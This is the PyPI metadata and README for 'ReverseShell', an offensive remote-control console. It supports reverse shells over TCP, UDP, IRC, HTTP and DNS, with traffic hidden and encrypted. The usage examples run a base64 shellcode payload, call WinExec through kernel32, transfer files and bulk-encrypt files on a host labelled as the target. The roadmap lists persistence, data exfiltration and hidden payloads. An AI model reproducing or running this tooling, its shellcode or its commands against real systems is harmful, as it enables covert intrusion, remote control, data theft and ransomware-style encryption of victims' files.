Metadata-Version: 2.1
Name: ReverseShell
Version: 0.1.0
Summary: This package implements an advanced reverse shell console (supports: TCP, UDP, IRC, HTTP and DNS).
Home-page: https://github.com/mauricelambert/ReverseShell
Author: Maurice Lambert
Author-email: mauricelambert434@gmail.com
Maintainer: Maurice Lambert
Maintainer-email: mauricelambert434@gmail.com
License: GPL-3.0 License
Project-URL: Documentation, https://mauricelambert.github.io/info/python/security/ReverseShell.html
Project-URL: Executable, https://mauricelambert.github.io/info/python/security/ReverseShell.pyz
Keywords: ReverseShell,terminal,console,netcat,HTTP,IRC,DNS,TCP,UDP
Platform: Windows
Platform: Linux
Platform: MacOS
Classifier: Development Status :: 5 - Production/Stable
Classifier: Operating System :: Microsoft :: Windows
Classifier: Programming Language :: Python :: 3.9
Classifier: Operating System :: POSIX :: Linux
Classifier: Programming Language :: Python
Classifier: Topic :: System :: Networking
Classifier: Natural Language :: English
Classifier: Operating System :: MacOS
Classifier: Topic :: Security
Requires-Python: >=3.8
Description-Content-Type: text/markdown
License-File: LICENSE.txt

![ReverseShell logo](https://mauricelambert.github.io/info/python/security/ReverseShell_small.png "ReverseShell logo")

# ReverseShell

## Description

This package implements an advanced reverse shell console (supports: TCP, UDP, IRC, HTTP and DNS).

### Version 0.0.X - POC

 - Support basic reverse shell using netcat or other standard/basic reverse shell
 - Basic terminal features
 - Commands history
 - UDP
 - Multi-sessions TCP (1 session/1 command)
 - Encrypt TCP data with SSL
 - Encrypt commands with RC4
 - Hide commands with IRC protocol
 - Hide commands with DNS (UDP) protocol
 - Hide commands with HTTP protocol
 - Advanced terminal features (required specific packets):
     - Print colored hostname, user and current directory
     - Auto-completion (executables in PATH and files in current directory)
     - Updatable any time you send the specific packet
 - Auto-restart for TCP client
 - Very large TCP packet (greater than TCP Window) is working
 - Check if command exists (only with advanced reverse shell features)

### Version 0.1.X - Dev

 - Builtins command
     - Update environment
         - Current directory
         - Files/Executables
         - Encryption key
         - Compression algorithm
             - Gzip, Lzma, Bz2, Zlib
         - Data encoding
             - Bases: 16, 32, 64 85
     - Upload and download file (optional compression)
     - Download file from URL
     - Code execution (for the python POC it's a python execution) (optional compression)
     - Shellcode runner (optional compression)
     - Single/Multiple file(s) encryption/decryption with parallelism (multi-processing) (multiple encryption support glob syntax)
     - Archive files (useful to download mutliples files with only one command)
     - Call DLL or shared object functions (for example to use Win32 API)
 - Update encryption key with random value
     - New encryption is based on the precedent encryption, without all of the precedents keys you can't decrypt data

### Version 1.0.X - TODO

 - Auto install (in memory and/or saved on the disk)
     - From basic reverse shell
     - From protocols
         - WMI (impacket plugin ?)
         - SMB (impacket plugin ?)
 - Persistence
 - Data exfiltration
 - Saved hidden payloads (for examples in Windows logs or registry)
 - Spawn TTY for Linux
 - Download multiples files on another temp socket (for parallelism, useful to export lot of data)
 - Waiting to execute command after receive it (using `Beep`, *socket timeout*, `Sleep`, *child process, async worker or thread end*, `print`)
 - Thread instead of process

### Examples

You can read multiples POC for reverse shell client written in python in the *clients* directory.

I add public and private key for default SSL certificate, is useful for test but **is not secure, create your own certificate to protect your TCP data**.

## Requirements

This package require :
 - python3
 - python3 Standard Library
 - PythonToolsKit

## Installation

```bash
pip install ReverseShell
```

## Usages

### Command lines

```bash
python3 -m ReverseShell --help
python3 ReverseShell.pyz -h
ReverseShell # To test this command use the shellclientsockettcp.py script. This is a standard/basic reverse shell compatible with netcat.
ReverseShell -u -d # To test this command use the shellclientdns.py script. This is a DNS (UDP) reverse shell.
ReverseShell -H -T # To test this command use the shellclienthttp_advanced.py script. This is an advanced HTTP reverse shell.
ReverseShell -H -T -s # To test this command use the shellclienthttps_advanced.py script. This is an advanced HTTPS reverse shell.
ReverseShell -H -T -s -k "abcd" # To test this command use the "shellclienthttpsencrypt_advanced.py abcd" command. This is an advanced HTTPS encrypted (using RC4 with "abcd" key) reverse shell.
ReverseShell -I # To test this command use the shellclientsocketirc.py script. This is an IRC reverse shell.
ReverseShell -T # To test this command use the shellclienttcp.py script. This is a multi-sessions TCP reverse shell.
ReverseShell -T # To test this command use the shellclienttcp_advanced.py script. This is an advanced multi-sessions TCP reverse shell.
ReverseShell -u # To test this command use the shellclientudp.py script. This is a UDP reverse shell.
```

### Python3

```python
from ReverseShell import ReverseShellSocketTcp, ReverseShell

with ReverseShellSocketTcp(address=("127.0.0.1", 1337), ssl=False, cert=None, key=None, handler=ReverseShell) as shellserver:
    shellserver.serve_forever()

# To test this code you can use the shellclientsockettcp.py script. This is a standard/basic reverse shell compatible with netcat.

from ReverseShell import ReverseShellTcp, HttpReverseShell, partial

with ReverseShellTcp(address=("127.0.0.1", 1337), ssl=True, cert="server.crt", key="server.key", handler=partial(HttpReverseShell, key=b"abcd", encoding="utf-8")) as shellserver:
    shellserver.serve_forever()

# To test this command use the "shellclienthttpsencrypt_advanced.py abcd" command. This is an advanced HTTPS encrypted (using RC4 with "abcd" key) reverse shell.
```

### ReverseShell builtins commands

```
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents\ReverseShell$ call_library_function kernel32.dll WinExec "char *:calc.exe" "long:1"
Return value: 33
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents\ReverseShell$ archive_files test.zip *.md *.key
Making archive...
[*] 1 childs process are running...
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents\ReverseShell$ download_url http://google.com test.html
Done
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents\ReverseShell$ cd ..
done
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents$ update_environment
done
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents$ upload_file shellcode.py shellcode2.py
['shellcode.py', 'shellcode2.py']
done
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents$ download_file shellcode2.py
done
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents$ python3_exec print('qwerty')
qwerty
None
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents$ upload_file_compress shellcode.py shellcode2.py
['shellcode.py', 'shellcode2.py']
done
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents$ download_file_compress shellcode2.py
done
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents$ python3_exec_compress print('qwerty')
qwerty
None
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents$ shellcode SDHJSIHp3f///0iNBe////9Iu9MZW06IcMOdSDFYJ0gt+P///+L0L1HYqniYA53TGRofySCRzIVRapztOEjPs1HQHJA4SM/zUdA82DjMKplTFn9BOPJdfyU6Mopc49wS0FYPibEhcIFYCgYDIuMWkSUTT1j7QxXTGVsGDbC3+psYix4DONvZWFl7B4mgIMub5pIPA0RL1dLPFn9BOPJdf1iah4Uxwlzr+S6/xHOPudtcYp/9qJvZWFl/B4mgpdxYFRMKAzDf1NLJGsWM+IucA1gDD9AumseSQRoXySqLHj85Ghx3kJvcikMTxZqZlGIs5gYGMnHDndMZW06IOE4Q0hhbTsnK8ha8nqSbM5Det9lY4egdzV5iBlHYiqBMxeHZmaCu/XV42sBrNCSIKYIUCeaOLekcoLO2YT5OiHDDnQ==

WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents$ shellcode_compress SDHJSIHp3f///0iNBe////9Iu9MZW06IcMOdSDFYJ0gt+P///+L0L1HYqniYA53TGRofySCRzIVRapztOEjPs1HQHJA4SM/zUdA82DjMKplTFn9BOPJdfyU6Mopc49wS0FYPibEhcIFYCgYDIuMWkSUTT1j7QxXTGVsGDbC3+psYix4DONvZWFl7B4mgIMub5pIPA0RL1dLPFn9BOPJdf1iah4Uxwlzr+S6/xHOPudtcYp/9qJvZWFl/B4mgpdxYFRMKAzDf1NLJGsWM+IucA1gDD9AumseSQRoXySqLHj85Ghx3kJvcikMTxZqZlGIs5gYGMnHDndMZW06IOE4Q0hhbTsnK8ha8nqSbM5Det9lY4egdzV5iBlHYiqBMxeHZmaCu/XV42sBrNCSIKYIUCeaOLekcoLO2YT5OiHDDnQ==

WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents$ encrypt_file test.html
[!] Invalid command detected for 'encrypt_files' command. Minimum 2 arguments are required.
[*] USAGE: encrypt_files [key] [filename1] [filename2] ... [filenameX]
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents$ encrypt_file qwerty test.html
Encryption is running...
[*] 1 childs process are running...
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents$ decrypt_file qwerty test.html
Decryption is running...
[*] 1 childs process are running...
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents$ encrypt_files qwerty *.html *.zip
Encryption is running...
[*] 2 childs process are running...
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents$ decrypt_files qwerty *.html *.zip
Decryption is running...
[*] 2 childs process are running...
WIN-TARGET@USER-TARGET:C:\Users\USER-TARGET\Documents$
```

## Screenshots

![ReverseShell](https://mauricelambert.github.io/info/python/security/ReverseShell.png "ReverseShell")

## Contributions

You are welcome to contribute ! Beginner, intermediate and advanced developpers can contribute to this repository. Python developpers, system administrators, network administrators, web developpers and compiled language developpers can contribute. See the [issues](https://github.com/mauricelambert/ReverseShell/issues) to know what we need.

## Links

 - [Github Page](https://github.com/mauricelambert/ReverseShell)
 - [Pypi](https://pypi.org/project/ReverseShell/)
 - [Documentation](https://mauricelambert.github.io/info/python/security/ReverseShell.html)
 - [Executable](https://mauricelambert.github.io/info/python/security/ReverseShell.pyz)
 - [Windows Executable](https://mauricelambert.github.io/info/python/security/ReverseShell.exe)
 - [Binaries shell clients](https://github.com/mauricelambert/ReverseShell/releases/latest)

## Help

```text
usage: ReverseShell.py [-h] [--udp | --tcp | --multi-tcp] [--http | --dns | --irc] [--no-color] [--key KEY] [--cert CERT] [--private PRIVATE] [--ip IP]
                       [--port PORT] [--encoding ENCODING] [--ssl] [--no-timeout]

Advanced reverse shell console.

options:
  -h, --help            show this help message and exit
  --udp, -u             Use UDP socket.
  --tcp, -t             Use TCP socket.
  --multi-tcp, -T       Create TCP socket for each command and responses.
  --http, -H            Use HTTP requests and responses.
  --dns, -d             Use DNS requests and responses.
  --irc, -I             Use IRC requests and response.
  --no-color, --color, -C
                        Do not use color
  --key KEY, -k KEY     Add a key to encrypt with RC4.
  --cert CERT, -c CERT  SSL cert file.
  --private PRIVATE, -P PRIVATE
                        SSL private key file.
  --ip IP, -i IP        IP address to start the ReverseShell server.
  --port PORT, -p PORT  UDP/TCP port to start the ReverseShell server.
  --encoding ENCODING, -e ENCODING
                        The reverse shell encoding used by client.
  --ssl, -s             Use SSL over TCP socket.
  --no-timeout, -m      Faster response but TCP data larger than Window maximum size will not work. You should use this argument with standard/basic
                        reverse shell like netcat.
```

## Licence

Licensed under the [GPL, version 3](https://www.gnu.org/licenses/).
